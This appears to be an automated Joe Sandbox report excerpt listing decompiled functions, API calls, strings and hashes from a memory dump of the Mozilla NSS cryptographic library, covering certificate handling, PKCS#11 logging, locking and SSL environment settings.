Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

PR_SetError.NSS3(00000000,00000000), ref: 6C69316D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction ID: 5db7b98909653f67d8ccf35584931866b19ac49c434238806d40bbce8ab55597
Opcode Fuzzy Hash: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction Fuzzy Hash: 2EF17CB5D0020AAFDF00DF64D888B9EBBB5BF09318F144169EC09A7721E731E995CB95

Function 6C679FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C679FBE

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C67A015

Part of subcall function 6C691940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C69195C
Part of subcall function 6C691940: EnterCriticalSection.KERNEL32(?,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001), ref: 6C691970
Part of subcall function 6C691940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5), ref: 6C6919A0

PL_FreeArenaPool.NSS3(?), ref: 6C67A067
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A055

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A07E
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C67A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C67A0CF
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A12E
PL_FreeArenaPool.NSS3(?), ref: 6C67A140
PL_FinishArenaPool.NSS3(?), ref: 6C67A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A158
PL_FinishArenaPool.NSS3(?), ref: 6C67A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C67A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67A1B2
free.MOZGLUE(00000000), ref: 6C67A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C67A1D6

Part of subcall function 6C6955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5,00000003,-00000004,00000000,?,6C66EAC5), ref: 6C695627
Part of subcall function 6C6955E0: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B), ref: 6C69564F
Part of subcall function 6C6955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C695661
Part of subcall function 6C6955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5), ref: 6C6956AF

Strings

security, xrefs: 6C67A00F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction ID: 7d7db5065df9df95db9942e8cd8d3b8136aba2c4a1a90e86841dd5ea4fda52e4
Opcode Fuzzy Hash: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction Fuzzy Hash: 5E51E875D00209ABEB209BA4DC44BAF7379AF4230CF105924E805BAB42F771D559C7BE

Function 6C686D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C686D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686DC3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C686DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C686E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C686E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C686E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C686EB9

Strings

ulDataLen = %d, xrefs: 6C686E0E
pulDigestLen = 0x%p, xrefs: 6C686E42
pDigest = 0x%p, xrefs: 6C686E27
pData = 0x%p, xrefs: 6C686DF5
hSession = 0x%x, xrefs: 6C686D9E, 6C686DAE
C_Digest, xrefs: 6C686D81
(CK_INVALID_HANDLE), xrefs: 6C686DBC
nvl, xrefs: 6C686E61, 6C686E95
*pulDigestLen = 0x%x, xrefs: 6C686EB4

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nvl
API String ID: 1003633598-1341204591
Opcode ID: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction ID: 419655d85b141ac2d809aaca5a68e7164a6365c178cd1c9b329bffc53f46eb1f
Opcode Fuzzy Hash: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction Fuzzy Hash: 4B41C575612108AFDB109F55DE4DF8A3BB2AB4335CF044034E909ABA11DB30E949CBBE

Function 6C689C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C689C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C689CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C689CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C689D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C689D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C689D42

Strings

userType = 0x%x, xrefs: 6C689CD5
ulPinLen = %d, xrefs: 6C689D0B
C_LoginUser, xrefs: 6C689C61
ulUsernameLen = %d, xrefs: 6C689D3D
hSession = 0x%x, xrefs: 6C689C7E, 6C689C8E
(CK_INVALID_HANDLE), xrefs: 6C689C9C
nvl, xrefs: 6C689D5A, 6C689D91
pUsername = 0x%p, xrefs: 6C689D24
pPin = 0x%p, xrefs: 6C689CF0

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nvl
API String ID: 1003633598-3871879280
Opcode ID: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction ID: 97001691560bb6bbf9f960e1ba66711bcb3e7fff6fbce1c23f885c0641adbd44
Opcode Fuzzy Hash: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction Fuzzy Hash: CE41B171603548AFDB009F55DE4CE9A3BB2AB4331DF488034E9096BA51DB319918CBBE

Function 6C694C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C694C4C
EnterCriticalSection.KERNEL32(?), ref: 6C694C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694DB7

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C694DD7
EnterCriticalSection.KERNEL32(?), ref: 6C694DEC
PR_Unlock.NSS3(?), ref: 6C694E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C694E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C694E71
free.MOZGLUE(00000000), ref: 6C694E7A
PR_Unlock.NSS3(?), ref: 6C694EA2
TlsGetValue.KERNEL32 ref: 6C694EC1
EnterCriticalSection.KERNEL32(?), ref: 6C694ED6
PR_Unlock.NSS3(?), ref: 6C694F01
free.MOZGLUE(00000000), ref: 6C694F2A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction ID: c7eadba8dfdcf8d112905d5e7f89dc14206fe8fe0b03632c4973cecca49b379e
Opcode Fuzzy Hash: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction Fuzzy Hash: ADB10075A00206EFDB00EF68D884BBA77B4BF0A318F044174ED2597B11EB71E965CB99

Function 6C69FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFB4

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFC6

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFD6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFE6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFF6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0006
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0016
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0026
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0036
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0046
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0056
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0066
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0076
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0086
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0096
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00A6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00B6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00C6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00D6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00E6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction ID: 46c0be7224f279011e5d4f149d0e3a213e0c61ad0ddb1409ee3b8ea372c33888
Opcode Fuzzy Hash: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction Fuzzy Hash: EB3139F0E1B7149E8B45EF26C24C94ABAF4BB26688714553AE02487F10DB74494BCFDD

Function 6C6E6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6E6BF7), ref: 6C6E6EB6

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C78FC0A,6C6E6BF7), ref: 6C6E6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6E6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6E6EFC
PR_NewLock.NSS3 ref: 6C6E6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6E6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6E6BF7), ref: 6C6E6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6E6BF7), ref: 6C6E6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6E6BF7), ref: 6C6E6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6E6BF7), ref: 6C6E6FFD

Strings

# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6E6EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6E6FF8
SSLFORCELOCKS, xrefs: 6C6E6F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6E6FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6E6F4F
SSLKEYLOGFILE, xrefs: 6C6E6EB1

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction ID: bfaa7fc9e1db0d61847c1811fb0bf64da549d59bd5bfb9ea467bde6d475f0f21
Opcode Fuzzy Hash: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction Fuzzy Hash: 6EA119B2A5FD8587E7504A3CCD0178432A6AB8B32AF584377EA31C7ED6DB35D480824D

Function 6C665DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C665E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C665E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C665E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C665EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C665ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C665F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C665F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C665F89
free.MOZGLUE(?), ref: 6C665FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C665FB6
free.MOZGLUE(00000000), ref: 6C665FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C666079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666094

Strings

, xrefs: 6C665EEB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction ID: 10cc2dcea2be0ec3e3dd28649f9d367e685084ceadb61b549844765db08a7210
Opcode Fuzzy Hash: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction Fuzzy Hash: FB8114B1E002059BDF108F66DD82BAE77B5AF45318F144128E859A7F82E731E815CBDB

Function 6C684E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C684E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684EC7

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C684F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C684F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C684F68

Strings

C_GetAttributeValue, xrefs: 6C684E7E
hObject = 0x%x, xrefs: 6C684EF5, 6C684F05
hSession = 0x%x, xrefs: 6C684EA2, 6C684EB2
(CK_INVALID_HANDLE), xrefs: 6C684EC0, 6C684F13
ulCount = %d, xrefs: 6C684F63
nvl, xrefs: 6C684F82, 6C684FB2
